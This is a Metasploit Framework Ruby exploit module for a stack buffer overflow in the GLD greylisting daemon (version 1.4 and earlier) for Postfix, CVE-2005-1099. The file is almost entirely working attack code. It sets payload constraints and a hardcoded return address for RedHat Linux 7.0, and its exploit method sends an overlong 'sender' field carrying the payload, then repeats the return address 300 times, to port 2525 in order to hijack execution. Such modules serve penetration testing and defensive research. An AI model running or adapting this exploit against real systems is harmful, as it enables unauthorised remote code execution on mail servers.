Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

        class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'                => 'GLD (Greylisting Daemon) Postfix Buffer Overflow',

                        'Description'        => %q{

                                This module exploits a stack buffer overflow in the Salim Gasmi

                                GLD <= 1.4 greylisting daemon for Postfix. By sending an

                                overly long string the stack can be overwritten.

                        },

                        'Version'        => '$Revision$',

                        'Author'        => [ 'patrick' ],

                        'Arch'                => ARCH_X86,

                        'Platform'        => 'linux',

                        'References'        =>

                                [

                                        [ 'CVE', '2005-1099' ],

                                        [ 'OSVDB', '15492' ],

                                        [ 'BID', '13129' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/934' ],

                                ],

                        'Privileged'        => true,

                        'License'        => MSF_LICENSE,

                        'Payload'        =>

                                {

                                        'Space' => 1000,

                                        'BadChars' => "\x00\x0a\x0d\x20=",

                                        'StackAdjustment' => -3500,

                                },

                        'Targets'        =>

                                [

                                        [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ],

                                ],

                        'DefaultTarget'        => 0,

                        'DisclosureDate'  => 'Apr 12 2005'

                ))

                register_options(

                        [

                                Opt::RPORT(2525)

                        ],

                        self.class

                )

        end

        def exploit

                connect

                sploit = "sender="+ payload.encoded + "\r\n"

                sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n"

                sock.put(sploit)

                handler

                disconnect

        end

end